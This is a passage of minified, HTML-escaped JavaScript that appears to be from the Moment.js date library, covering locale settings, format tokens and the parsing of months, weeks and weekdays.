childConfig)hasOwnProp(childConfig,prop)&amp;&amp;(isObject(parentConfig[prop])&amp;&amp;isObject(childConfig[prop])?(res[prop]={},extend(res[prop],parentConfig[prop]),extend(res[prop],childConfig[prop])):null!=childConfig[prop]?res[prop]=childConfig[prop]:delete res[prop]);for(prop in parentConfig)hasOwnProp(parentConfig,prop)&amp;&amp;!hasOwnProp(childConfig,prop)&amp;&amp;isObject(parentConfig[prop])&amp;&amp;(res[prop]=extend({},res[prop]));return res}function Locale(config){null!=config&amp;&amp;this.set(config)}hooks.suppressDeprecationWarnings=!1,hooks.deprecationHandler=null,keys=Object.keys?Object.keys:function(obj){var i,res=[];for(i in obj)hasOwnProp(obj,i)&amp;&amp;res.push(i);return res};var defaultCalendar={sameDay:&quot;[Today at] LT&quot;,nextDay:&quot;[Tomorrow at] LT&quot;,nextWeek:&quot;dddd [at] LT&quot;,lastDay:&quot;[Yesterday at] LT&quot;,lastWeek:&quot;[Last] dddd [at] LT&quot;,sameElse:&quot;L&quot;};function calendar(key,mom,now){var output=this._calendar[key]||this._calendar.sameElse;return isFunction(output)?output.call(mom,now):output}var defaultLongDateFormat={LTS:&quot;h:mm:ss A&quot;,LT:&quot;h:mm A&quot;,L:&quot;MM/DD/YYYY&quot;,LL:&quot;MMMM D, YYYY&quot;,LLL:&quot;MMMM D, YYYY h:mm A&quot;,LLLL:&quot;dddd, MMMM D, YYYY h:mm A&quot;};function longDateFormat(key){var format=this._longDateFormat[key],formatUpper=this._longDateFormat[key.toUpperCase()];return format||!formatUpper?format:(this._longDateFormat[key]=formatUpper.replace(/MMMM|MM|DD|dddd/g,(function(val){return val.slice(1)})),this._longDateFormat[key])}var defaultInvalidDate=&quot;Invalid date&quot;;function invalidDate(){return this._invalidDate}var defaultOrdinal=&quot;%d&quot;,defaultDayOfMonthOrdinalParse=/\d{1,2}/;function ordinal(number){return this._ordinal.replace(&quot;%d&quot;,number)}var defaultRelativeTime={future:&quot;in %s&quot;,past:&quot;%s ago&quot;,s:&quot;a few seconds&quot;,ss:&quot;%d seconds&quot;,m:&quot;a minute&quot;,mm:&quot;%d minutes&quot;,h:&quot;an hour&quot;,hh:&quot;%d hours&quot;,d:&quot;a day&quot;,dd:&quot;%d days&quot;,M:&quot;a month&quot;,MM:&quot;%d months&quot;,y:&quot;a year&quot;,yy:&quot;%d years&quot;};function relativeTime(number,withoutSuffix,string,isFuture){var output=this._relativeTime[string];return isFunction(output)?output(number,withoutSuffix,string,isFuture):output.replace(/%d/i,number)}function pastFuture(diff,output){var format=this._relativeTime[diff&gt;0?&quot;future&quot;:&quot;past&quot;];return isFunction(format)?format(output):format.replace(/%s/i,output)}var aliases={};function addUnitAlias(unit,shorthand){var lowerCase=unit.toLowerCase();aliases[lowerCase]=aliases[lowerCase+&quot;s&quot;]=aliases[shorthand]=unit}function normalizeUnits(units){return&quot;string&quot;==typeof units?aliases[units]||aliases[units.toLowerCase()]:void 0}function normalizeObjectUnits(inputObject){var normalizedProp,prop,normalizedInput={};for(prop in inputObject)hasOwnProp(inputObject,prop)&amp;&amp;(normalizedProp=normalizeUnits(prop))&amp;&amp;(normalizedInput[normalizedProp]=inputObject[prop]);return normalizedInput}var priorities={};function addUnitPriority(unit,priority){priorities[unit]=priority}function getPrioritizedUnits(unitsObj){var units=[];for(var u in unitsObj)units.push({unit:u,priority:priorities[u]});return units.sort((function(a,b){return a.priority-b.priority})),units}function zeroFill(number,targetLength,forceSign){var absNumber=&quot;&quot;+Math.abs(number),zerosToFill=targetLength-absNumber.length;return(number&gt;=0?forceSign?&quot;+&quot;:&quot;&quot;:&quot;-&quot;)+Math.pow(10,Math.max(0,zerosToFill)).toString().substr(1)+absNumber}var formattingTokens=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,localFormattingTokens=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,formatFunctions={},formatTokenFunctions={};function addFormatToken(token,padded,ordinal,callback){var func=callback;&quot;string&quot;==typeof callback&amp;&amp;(func=function(){return this[callback]()}),token&amp;&amp;(formatTokenFunctions[token]=func),padded&amp;&amp;(formatTokenFunctions[padded[0]]=function(){return zeroFill(func.apply(this,arguments),padded[1],padded[2])}),ordinal&amp;&amp;(formatTokenFunctions[ordinal]=function(){return this.localeData().ordinal(func.apply(this,arguments),token)})}function removeFormattingTokens(input){return input.match(/\[[\s\S]/)?input.replace(/^\[|\]$/g,&quot;&quot;):input.replace(/\\/g,&quot;&quot;)}function makeFormatFunction(format){var i,length,array=format.match(formattingTokens);for(i=0,length=array.length;i&lt;length;i++)formatTokenFunctions[array[i]]?array[i]=formatTokenFunctions[array[i]]:array[i]=removeFormattingTokens(array[i]);return function(mom){var i,output=&quot;&quot;;for(i=0;i&lt;length;i++)output+=isFunction(array[i])?array[i].call(mom,format):array[i];return output}}function formatMoment(m,format){return m.isValid()?(format=expandFormat(format,m.localeData()),formatFunctions[format]=formatFunctions[format]||makeFormatFunction(format),formatFunctions[format](m)):m.localeData().invalidDate()}function expandFormat(format,locale){var i=5;function replaceLongDateFormatTokens(input){return locale.longDateFormat(input)||input}for(localFormattingTokens.lastIndex=0;i&gt;=0&amp;&amp;localFormattingTokens.test(format);)format=format.replace(localFormattingTokens,replaceLongDateFormatTokens),localFormattingTokens.lastIndex=0,i-=1;return format}var match1=/\d/,match2=/\d\d/,match3=/\d{3}/,match4=/\d{4}/,match6=/[+-]?\d{6}/,match1to2=/\d\d?/,match3to4=/\d\d\d\d?/,match5to6=/\d\d\d\d\d\d?/,match1to3=/\d{1,3}/,match1to4=/\d{1,4}/,match1to6=/[+-]?\d{1,6}/,matchUnsigned=/\d+/,matchSigned=/[+-]?\d+/,matchOffset=/Z|[+-]\d\d:?\d\d/gi,matchShortOffset=/Z|[+-]\d\d(?::?\d\d)?/gi,matchTimestamp=/[+-]?\d+(\.\d{1,3})?/,matchWord=/[0-9]{0,256}[&#039;a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i,regexes={};function addRegexToken(token,regex,strictRegex){regexes[token]=isFunction(regex)?regex:function(isStrict,localeData){return isStrict&amp;&amp;strictRegex?strictRegex:regex}}function getParseRegexForToken(token,config){return hasOwnProp(regexes,token)?regexes[token](config._strict,config._locale):new RegExp(unescapeFormat(token))}function unescapeFormat(s){return regexEscape(s.replace(&quot;\\&quot;,&quot;&quot;).replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,(function(matched,p1,p2,p3,p4){return p1||p2||p3||p4})))}function regexEscape(s){return s.replace(/[-\/\\^$*+?.()|[\]{}]/g,&quot;\\$&amp;&quot;)}var tokens={};function addParseToken(token,callback){var i,func=callback;for(&quot;string&quot;==typeof token&amp;&amp;(token=[token]),isNumber(callback)&amp;&amp;(func=function(input,array){array[callback]=toInt(input)}),i=0;i&lt;token.length;i++)tokens[token[i]]=func}function addWeekParseToken(token,callback){addParseToken(token,(function(input,array,config,token){config._w=config._w||{},callback(input,config._w,config,token)}))}function addTimeToArrayFromToken(token,input,config){null!=input&amp;&amp;hasOwnProp(tokens,token)&amp;&amp;tokens[token](input,config._a,config,token)}var YEAR=0,MONTH=1,DATE=2,HOUR=3,MINUTE=4,SECOND=5,MILLISECOND=6,WEEK=7,WEEKDAY=8;function daysInYear(year){return isLeapYear(year)?366:365}function isLeapYear(year){return year%4==0&amp;&amp;year%100!=0||year%400==0}addFormatToken(&quot;Y&quot;,0,0,(function(){var y=this.year();return y&lt;=9999?&quot;&quot;+y:&quot;+&quot;+y})),addFormatToken(0,[&quot;YY&quot;,2],0,(function(){return this.year()%100})),addFormatToken(0,[&quot;YYYY&quot;,4],0,&quot;year&quot;),addFormatToken(0,[&quot;YYYYY&quot;,5],0,&quot;year&quot;),addFormatToken(0,[&quot;YYYYYY&quot;,6,!0],0,&quot;year&quot;),addUnitAlias(&quot;year&quot;,&quot;y&quot;),addUnitPriority(&quot;year&quot;,1),addRegexToken(&quot;Y&quot;,matchSigned),addRegexToken(&quot;YY&quot;,match1to2,match2),addRegexToken(&quot;YYYY&quot;,match1to4,match4),addRegexToken(&quot;YYYYY&quot;,match1to6,match6),addRegexToken(&quot;YYYYYY&quot;,match1to6,match6),addParseToken([&quot;YYYYY&quot;,&quot;YYYYYY&quot;],YEAR),addParseToken(&quot;YYYY&quot;,(function(input,array){array[YEAR]=2===input.length?hooks.parseTwoDigitYear(input):toInt(input)})),addParseToken(&quot;YY&quot;,(function(input,array){array[YEAR]=hooks.parseTwoDigitYear(input)})),addParseToken(&quot;Y&quot;,(function(input,array){array[YEAR]=parseInt(input,10)})),hooks.parseTwoDigitYear=function(input){return toInt(input)+(toInt(input)&gt;68?1900:2e3)};var indexOf,getSetYear=makeGetSet(&quot;FullYear&quot;,!0);function getIsLeapYear(){return isLeapYear(this.year())}function makeGetSet(unit,keepTime){return function(value){return null!=value?(set$1(this,unit,value),hooks.updateOffset(this,keepTime),this):get(this,unit)}}function get(mom,unit){return mom.isValid()?mom._d[&quot;get&quot;+(mom._isUTC?&quot;UTC&quot;:&quot;&quot;)+unit]():NaN}function set$1(mom,unit,value){mom.isValid()&amp;&amp;!isNaN(value)&amp;&amp;(&quot;FullYear&quot;===unit&amp;&amp;isLeapYear(mom.year())&amp;&amp;1===mom.month()&amp;&amp;29===mom.date()?mom._d[&quot;set&quot;+(mom._isUTC?&quot;UTC&quot;:&quot;&quot;)+unit](value,mom.month(),daysInMonth(value,mom.month())):mom._d[&quot;set&quot;+(mom._isUTC?&quot;UTC&quot;:&quot;&quot;)+unit](value))}function stringGet(units){return isFunction(this[units=normalizeUnits(units)])?this[units]():this}function stringSet(units,value){if(&quot;object&quot;==typeof units)for(var prioritized=getPrioritizedUnits(units=normalizeObjectUnits(units)),i=0;i&lt;prioritized.length;i++)this[prioritized[i].unit](units[prioritized[i].unit]);else if(isFunction(this[units=normalizeUnits(units)]))return this[units](value);return this}function mod(n,x){return(n%x+x)%x}function daysInMonth(year,month){if(isNaN(year)||isNaN(month))return NaN;var modMonth=mod(month,12);return year+=(month-modMonth)/12,1===modMonth?isLeapYear(year)?29:28:31-modMonth%7%2}indexOf=Array.prototype.indexOf?Array.prototype.indexOf:function(o){var i;for(i=0;i&lt;this.length;++i)if(this[i]===o)return i;return-1},addFormatToken(&quot;M&quot;,[&quot;MM&quot;,2],&quot;Mo&quot;,(function(){return this.month()+1})),addFormatToken(&quot;MMM&quot;,0,0,(function(format){return this.localeData().monthsShort(this,format)})),addFormatToken(&quot;MMMM&quot;,0,0,(function(format){return this.localeData().months(this,format)})),addUnitAlias(&quot;month&quot;,&quot;M&quot;),addUnitPriority(&quot;month&quot;,8),addRegexToken(&quot;M&quot;,match1to2),addRegexToken(&quot;MM&quot;,match1to2,match2),addRegexToken(&quot;MMM&quot;,(function(isStrict,locale){return locale.monthsShortRegex(isStrict)})),addRegexToken(&quot;MMMM&quot;,(function(isStrict,locale){return locale.monthsRegex(isStrict)})),addParseToken([&quot;M&quot;,&quot;MM&quot;],(function(input,array){array[MONTH]=toInt(input)-1})),addParseToken([&quot;MMM&quot;,&quot;MMMM&quot;],(function(input,array,config,token){var month=config._locale.monthsParse(input,token,config._strict);null!=month?array[MONTH]=month:getParsingFlags(config).invalidMonth=input}));var MONTHS_IN_FORMAT=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,defaultLocaleMonths=&quot;January_February_March_April_May_June_July_August_September_October_November_December&quot;.split(&quot;_&quot;);function localeMonths(m,format){return m?isArray(this._months)?this._months[m.month()]:this._months[(this._months.isFormat||MONTHS_IN_FORMAT).test(format)?&quot;format&quot;:&quot;standalone&quot;][m.month()]:isArray(this._months)?this._months:this._months.standalone}var defaultLocaleMonthsShort=&quot;Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec&quot;.split(&quot;_&quot;);function localeMonthsShort(m,format){return m?isArray(this._monthsShort)?this._monthsShort[m.month()]:this._monthsShort[MONTHS_IN_FORMAT.test(format)?&quot;format&quot;:&quot;standalone&quot;][m.month()]:isArray(this._monthsShort)?this._monthsShort:this._monthsShort.standalone}function handleStrictParse(monthName,format,strict){var i,ii,mom,llc=monthName.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],i=0;i&lt;12;++i)mom=createUTC([2e3,i]),this._shortMonthsParse[i]=this.monthsShort(mom,&quot;&quot;).toLocaleLowerCase(),this._longMonthsParse[i]=this.months(mom,&quot;&quot;).toLocaleLowerCase();return strict?&quot;MMM&quot;===format?-1!==(ii=indexOf.call(this._shortMonthsParse,llc))?ii:null:-1!==(ii=indexOf.call(this._longMonthsParse,llc))?ii:null:&quot;MMM&quot;===format?-1!==(ii=indexOf.call(this._shortMonthsParse,llc))||-1!==(ii=indexOf.call(this._longMonthsParse,llc))?ii:null:-1!==(ii=indexOf.call(this._longMonthsParse,llc))||-1!==(ii=indexOf.call(this._shortMonthsParse,llc))?ii:null}function localeMonthsParse(monthName,format,strict){var i,mom,regex;if(this._monthsParseExact)return handleStrictParse.call(this,monthName,format,strict);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),i=0;i&lt;12;i++){if(mom=createUTC([2e3,i]),strict&amp;&amp;!this._longMonthsParse[i]&amp;&amp;(this._longMonthsParse[i]=new RegExp(&quot;^&quot;+this.months(mom,&quot;&quot;).replace(&quot;.&quot;,&quot;&quot;)+&quot;$&quot;,&quot;i&quot;),this._shortMonthsParse[i]=new RegExp(&quot;^&quot;+this.monthsShort(mom,&quot;&quot;).replace(&quot;.&quot;,&quot;&quot;)+&quot;$&quot;,&quot;i&quot;)),strict||this._monthsParse[i]||(regex=&quot;^&quot;+this.months(mom,&quot;&quot;)+&quot;|^&quot;+this.monthsShort(mom,&quot;&quot;),this._monthsParse[i]=new RegExp(regex.replace(&quot;.&quot;,&quot;&quot;),&quot;i&quot;)),strict&amp;&amp;&quot;MMMM&quot;===format&amp;&amp;this._longMonthsParse[i].test(monthName))return i;if(strict&amp;&amp;&quot;MMM&quot;===format&amp;&amp;this._shortMonthsParse[i].test(monthName))return i;if(!strict&amp;&amp;this._monthsParse[i].test(monthName))return i}}function setMonth(mom,value){var dayOfMonth;if(!mom.isValid())return mom;if(&quot;string&quot;==typeof value)if(/^\d+$/.test(value))value=toInt(value);else if(!isNumber(value=mom.localeData().monthsParse(value)))return mom;return dayOfMonth=Math.min(mom.date(),daysInMonth(mom.year(),value)),mom._d[&quot;set&quot;+(mom._isUTC?&quot;UTC&quot;:&quot;&quot;)+&quot;Month&quot;](value,dayOfMonth),mom}function getSetMonth(value){return null!=value?(setMonth(this,value),hooks.updateOffset(this,!0),this):get(this,&quot;Month&quot;)}function getDaysInMonth(){return daysInMonth(this.year(),this.month())}var defaultMonthsShortRegex=matchWord;function monthsShortRegex(isStrict){return this._monthsParseExact?(hasOwnProp(this,&quot;_monthsRegex&quot;)||computeMonthsParse.call(this),isStrict?this._monthsShortStrictRegex:this._monthsShortRegex):(hasOwnProp(this,&quot;_monthsShortRegex&quot;)||(this._monthsShortRegex=defaultMonthsShortRegex),this._monthsShortStrictRegex&amp;&amp;isStrict?this._monthsShortStrictRegex:this._monthsShortRegex)}var defaultMonthsRegex=matchWord;function monthsRegex(isStrict){return this._monthsParseExact?(hasOwnProp(this,&quot;_monthsRegex&quot;)||computeMonthsParse.call(this),isStrict?this._monthsStrictRegex:this._monthsRegex):(hasOwnProp(this,&quot;_monthsRegex&quot;)||(this._monthsRegex=defaultMonthsRegex),this._monthsStrictRegex&amp;&amp;isStrict?this._monthsStrictRegex:this._monthsRegex)}function computeMonthsParse(){function cmpLenRev(a,b){return b.length-a.length}var i,mom,shortPieces=[],longPieces=[],mixedPieces=[];for(i=0;i&lt;12;i++)mom=createUTC([2e3,i]),shortPieces.push(this.monthsShort(mom,&quot;&quot;)),longPieces.push(this.months(mom,&quot;&quot;)),mixedPieces.push(this.months(mom,&quot;&quot;)),mixedPieces.push(this.monthsShort(mom,&quot;&quot;));for(shortPieces.sort(cmpLenRev),longPieces.sort(cmpLenRev),mixedPieces.sort(cmpLenRev),i=0;i&lt;12;i++)shortPieces[i]=regexEscape(shortPieces[i]),longPieces[i]=regexEscape(longPieces[i]);for(i=0;i&lt;24;i++)mixedPieces[i]=regexEscape(mixedPieces[i]);this._monthsRegex=new RegExp(&quot;^(&quot;+mixedPieces.join(&quot;|&quot;)+&quot;)&quot;,&quot;i&quot;),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp(&quot;^(&quot;+longPieces.join(&quot;|&quot;)+&quot;)&quot;,&quot;i&quot;),this._monthsShortStrictRegex=new RegExp(&quot;^(&quot;+shortPieces.join(&quot;|&quot;)+&quot;)&quot;,&quot;i&quot;)}function createDate(y,m,d,h,M,s,ms){var date;return y&lt;100&amp;&amp;y&gt;=0?(date=new Date(y+400,m,d,h,M,s,ms),isFinite(date.getFullYear())&amp;&amp;date.setFullYear(y)):date=new Date(y,m,d,h,M,s,ms),date}function createUTCDate(y){var date;if(y&lt;100&amp;&amp;y&gt;=0){var args=Array.prototype.slice.call(arguments);args[0]=y+400,date=new Date(Date.UTC.apply(null,args)),isFinite(date.getUTCFullYear())&amp;&amp;date.setUTCFullYear(y)}else date=new Date(Date.UTC.apply(null,arguments));return date}function firstWeekOffset(year,dow,doy){var fwd=7+dow-doy;return-(7+createUTCDate(year,0,fwd).getUTCDay()-dow)%7+fwd-1}function dayOfYearFromWeeks(year,week,weekday,dow,doy){var resYear,resDayOfYear,dayOfYear=1+7*(week-1)+(7+weekday-dow)%7+firstWeekOffset(year,dow,doy);return dayOfYear&lt;=0?resDayOfYear=daysInYear(resYear=year-1)+dayOfYear:dayOfYear&gt;daysInYear(year)?(resYear=year+1,resDayOfYear=dayOfYear-daysInYear(year)):(resYear=year,resDayOfYear=dayOfYear),{year:resYear,dayOfYear:resDayOfYear}}function weekOfYear(mom,dow,doy){var resWeek,resYear,weekOffset=firstWeekOffset(mom.year(),dow,doy),week=Math.floor((mom.dayOfYear()-weekOffset-1)/7)+1;return week&lt;1?resWeek=week+weeksInYear(resYear=mom.year()-1,dow,doy):week&gt;weeksInYear(mom.year(),dow,doy)?(resWeek=week-weeksInYear(mom.year(),dow,doy),resYear=mom.year()+1):(resYear=mom.year(),resWeek=week),{week:resWeek,year:resYear}}function weeksInYear(year,dow,doy){var weekOffset=firstWeekOffset(year,dow,doy),weekOffsetNext=firstWeekOffset(year+1,dow,doy);return(daysInYear(year)-weekOffset+weekOffsetNext)/7}function localeWeek(mom){return weekOfYear(mom,this._week.dow,this._week.doy).week}addFormatToken(&quot;w&quot;,[&quot;ww&quot;,2],&quot;wo&quot;,&quot;week&quot;),addFormatToken(&quot;W&quot;,[&quot;WW&quot;,2],&quot;Wo&quot;,&quot;isoWeek&quot;),addUnitAlias(&quot;week&quot;,&quot;w&quot;),addUnitAlias(&quot;isoWeek&quot;,&quot;W&quot;),addUnitPriority(&quot;week&quot;,5),addUnitPriority(&quot;isoWeek&quot;,5),addRegexToken(&quot;w&quot;,match1to2),addRegexToken(&quot;ww&quot;,match1to2,match2),addRegexToken(&quot;W&quot;,match1to2),addRegexToken(&quot;WW&quot;,match1to2,match2),addWeekParseToken([&quot;w&quot;,&quot;ww&quot;,&quot;W&quot;,&quot;WW&quot;],(function(input,week,config,token){week[token.substr(0,1)]=toInt(input)}));var defaultLocaleWeek={dow:0,doy:6};function localeFirstDayOfWeek(){return this._week.dow}function localeFirstDayOfYear(){return this._week.doy}function getSetWeek(input){var week=this.localeData().week(this);return null==input?week:this.add(7*(input-week),&quot;d&quot;)}function getSetISOWeek(input){var week=weekOfYear(this,1,4).week;return null==input?week:this.add(7*(input-week),&quot;d&quot;)}function parseWeekday(input,locale){return&quot;string&quot;!=typeof input?input:isNaN(input)?&quot;number&quot;==typeof(input=locale.weekdaysParse(input))?input:null:parseInt(input,10)}function parseIsoWeekday(input,locale){return&quot;string&quot;==typeof input?locale.weekdaysParse(input)%7||7:isNaN(input)?null:input}function shiftWeekdays(ws,n){return ws.slice(n,7).concat(ws.slice(0,n))}addFormatToken(&quot;d&quot;,0,&quot;do&quot;,&quot;day&quot;),addFormatToken(&quot;dd&quot;,0,0,(function(format){return this.localeData().weekdaysMin(this,format)})),addFormatToken(&quot;ddd&quot;,0,0,(function(format){return this.localeData().weekdaysShort(this,format)})),addFormatToken(&quot;dddd&quot;,0,0,(function(format){return this.localeData().weekdays(this,format)})),addFormatToken(&quot;e&quot;,0,0,&quot;weekday&quot;),addFormatToken(&quot;E&quot;,0,0,&quot;isoWeekday&quot;),addUnitAlias(&quot;day&quot;,&quot;d&quot;),addUnitAlias(&quot;weekday&quot;,&quot;e&quot;),addUnitAlias(&quot;isoWeekday&quot;,&quot;E&quot;),addUnitPriority(&quot;day&quot;,11),addUnitPriority(&quot;weekday&quot;,11),addUnitPriority(&quot;isoWeekday&quot;,11),addRegexToken(&quot;d&quot;,match1to2),addRegexToken(&quot;e&quot;,match1to2),addRegexToken(&quot;E&quot;,match1to2),addRegexToken(&quot;dd&quot;,(function(isStrict,locale){return locale.weekdaysMinRegex(isStrict)})),addRegexToken(&quot;ddd&quot;,(function(isStrict,locale){return locale.weekdaysShortRegex(isStrict)})),addRegexToken(&quot;dddd&quot;,(function(isStrict,locale){return locale.weekdaysRegex(isStrict)})),addWeekParseToken([&quot;dd&quot;,&quot;ddd&quot;,&quot;dddd&quot;],(function(input,week,config,token){var weekday=config._locale.weekdaysParse(input,token,config._strict);null!=weekday?week.d=weekday:getParsingFlags(config).invalidWeekday=input})),addWeekParseToken([&quot;d&quot;,&quot;e&quot;,&quot;E&quot;],(function(input,week,config,token){week[token]=toInt(input)}));var defaultLocaleWeekdays=&quot;Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday&quot;.split(&quot;_&quot;);function localeWeekdays(m,format){var weekdays=isArray(this._weekdays)?this._weekdays:this._weekdays[m&amp;&amp;!0!==m&amp;&amp;this._weekdays.isFormat.test(format)?&quot;format&quot;:&quot;standalone&quot;];return!0===m?shiftWeekdays(weekdays,this._week.dow):m?weekdays[m.day()]:weekdays}var defaultLocaleWeekdaysShort=&quot;Sun_Mon_Tue_Wed_Thu_Fri_Sat&quot;.split(&quot;_&quot;);function localeWeekdaysShort(m){return!0===m?shiftWeekdays(this._weekdaysShort,this._week.dow):m?this._weekdaysShort[m.day()]:this._weekdaysShort}var defaultLocaleWeekdaysMin=&quot;Su_Mo_Tu_We_Th_Fr_Sa&quot;.split(&quot;_&quot;);function localeWeekdaysMin(m){return!0===m?shiftWeekdays(this._weekdaysMin,this._week.dow):m?this._weekdaysMin[m.day()]:this._weekdaysMin}function handleStrictParse$1(weekdayName,format,strict){var i,ii,mom,llc=weekdayName.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],i=0;i&lt;7;++i)mom=createUTC([2e3,1]).day(i),this._minWeekdaysParse[i]=this.weekdaysMin(mom,&quot;&quot;).toLocaleLowerCase(),this._shortWeekdaysParse[i]=this.weekdaysShort(mom,&quot;&quot;).toLocaleLowerCase(),this._weekdaysParse[i]=this.weekdays(mom,&quot;&quot;).toLocaleLowerCase();return strict?&quot;dddd&quot;===format?-1!==(ii=indexOf.call(this._weekdaysParse,llc))?ii:null:&quot;ddd&quot;===format?-1!==(ii=indexOf.call(this._shortWeekdaysParse,llc))?ii:null:-1!==(ii=indexOf.call(this._minWeekdaysParse,llc))?ii:null:&quot;dddd&quot;===format?-1!==(ii=indexOf.call(this._weekdaysParse,llc))||-1!==(ii=indexOf.call(this._shortWeekdaysParse,llc))||-1!==(ii=indexOf.call(this._minWeekdaysParse,llc))?ii:null:&quot;ddd&quot;===format?-1!==(ii=indexOf.call(this._shortWeekdaysParse,llc))||-1!==(ii=indexOf.call(this._weekdaysParse,llc))||-1!==(ii=indexOf.call(this._minWeekdaysParse,llc))?ii:null:-1!==(ii=indexOf.call(this._minWeekdaysParse,llc))||-1!==(ii=indexOf.call(this._weekdaysParse,llc))||-1!==(ii=indexOf.call(this._shortWeekdaysParse,llc))?ii:null}function localeWeekdaysParse(weekdayName,format,strict){var i,mom,regex;if(this._weekdaysParseExact)return handleStrictParse$1.call(this,weekdayName,format,strict);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),i=0;i&lt;7;i++){if(mom=createUTC([2e3,1]).day(i),strict&amp;&amp;!this._fullWeekdaysParse[i]&amp;&amp;(this._fullWeekdaysParse[i]=new RegExp(&quot;^&quot;+this.weekdays(mom,&quot;&quot;).replace(&quot;.&quot;,&quot;\\.?&quot;)+&quot;$&quot;,&quot;i&quot;),this._shortWeekdaysParse[i]=new RegExp(&quot;^&quot;+this.weekdaysShort(mom,&quot;&quot;).replace(&quot;.&quot;,&quot;\\.?&quot;)+&quot;$&quot;,&quot;i&quot;),this._minWeekdaysParse[i]=new RegExp(&quot;^&quot;+this.weekdaysMin(mom,&quot;&quot;).replace(&quot;.&quot;,&quot;\\.?&quot;)+&quot;$&quot;,&quot;i&quot;)),this._weekdaysParse[i]||(regex=&quot;^&quot;+this.weekdays(mom,&quot;&quot;)+&quot;|^&quot;+this.weekdaysShort(mom,&quot;&quot;)+&quot;|^&quot;+this.weekdaysMin(mom,&quot;&quot;),this._weekdaysParse[i]=new RegExp(regex.replace(&quot;.&quot;,&quot;&quot;),&quot;i&quot;)),strict&amp;&amp;&quot;dddd&quot;===format&amp;&amp;this._fullWeekdaysParse[i].test(weekdayName))return i;if(strict&amp;&amp;&quot;ddd&quot;===format&amp;&amp;this._shortWeekdaysParse[i].test(weekdayName))return i;if(strict&amp;&amp;&quot;dd&quot;===format&amp;&amp;this._minWeekdaysParse[i].test(weekdayName))return i;if(!strict&amp;&amp;this._weekdaysParse[i].test(weekdayName))return i}}function getSetDayOfWeek(input){if(!this.isValid())return null!=input?this:NaN;var day=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=input?(input=parseWeekday(input,this.localeData()),this.add(input-day,&quot;d&quot;)):day}function getSetLocaleDayOfWeek(input){if(!this.isValid())return null!=input?this:NaN;var weekday=(this.day()+7-this.localeData()._week.dow)%7;return null==input?weekday:this.add(input-weekday,&quot;d&quot;)}function getSetISODayOfWeek(input){if(!this.isValid())return null!=input?this:NaN;if(null!=input){var weekday=parseIsoWeekday(input,this.localeData());return this.day(this.day()%7?weekday:weekday-7)}return this.day()||7}var defaultWeekdaysRegex=matchWord;function weekdaysRegex(isStrict){return this._weekdaysParseExact?(hasOwnProp(this,&quot;_weekdaysRegex&quot;)||computeWeekdaysParse.call(this),isStrict?this._weekdaysStrictRegex:this._weekdaysRegex):(hasOwnProp(this,&quot;_weekdaysRegex&quot;)||(this._weekdaysRegex=defaultWeekdaysRegex),this._weekdaysStrictRegex&amp;&amp;isStrict?this._weekdaysStrictRegex:this._weekdaysRegex)}var defaultWeekdaysShortRegex=matchWord;function weekdaysShortRegex(isStrict){return this._weekdaysParseExact?(hasOwnProp(this,&quot;_weekdaysRegex&quot;)||computeWeekdaysParse.call(this),isStrict?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(hasOwnProp(this,&quot;_weekdaysShortRegex&quot;)||(this._weekdaysShortRegex=defaultWeekdaysShortRegex),this._weekdaysShortStrictRegex&amp;&amp;isStrict?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)}var defaultWeekdaysMinRegex=matchWord;function weekdaysMinRegex(isStrict){return this._weekdaysParseExact?(hasOwnProp(this,&quot;_weekdaysRegex&quot;)||computeWeekdaysParse.call(this),isStrict?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(hasOwnProp(this,&quot;_weekdaysMinRegex&quot;)||(this._weekdaysMinRegex=defaultWeekdaysMinRegex),this._weekdaysMinStrictRegex&amp;&amp;isStrict?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)}function computeWeekdaysParse(){function cmpLenRev(a,b){return b.length-a.length}var i,mom,minp,shortp,longp,minPieces=[],shortPieces=[],longPieces=[],mixedPieces=[];for(i=0;i&lt;7;i++)mom=createUTC([2e3,1]).day(i),minp=this.weekdaysMin(mom,&quot;&quot;),shortp=this.weekdaysShort(mom,&quot;&quot;),longp=this.weekdays(mom,&quot;&quot;),minPieces.push(minp),shortPieces.push(shortp),longPieces.push(longp),mixedPieces.push(minp),mixedPieces.push(shortp),mixedPieces.push(longp);for(minPieces.sort(cmpLenRev),shortPieces.sort(cmpLenRev),longPieces.sort(cmpLenRev),mixedPieces.sort(cmpLenRev),i=0;i&lt;7;i++)shortPieces[i]=regexEscape(shortPieces[i]),longPieces[i]=regexEscape(longPieces[i]),mixedPieces[i]=regexEscape(mixedPieces[i]);this._weekdaysRegex=new RegExp(&quot;^(&quot;+mixedPieces.join(&quot;|&quot;)+&quot;)&quot;,&quot;i&quot;),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp(&quot;^(&quot;+longPieces.join(&quot;|&quot;)+&quot;)&quot;,&quot;i&quot;),this._weekdaysShortStrictRegex=new 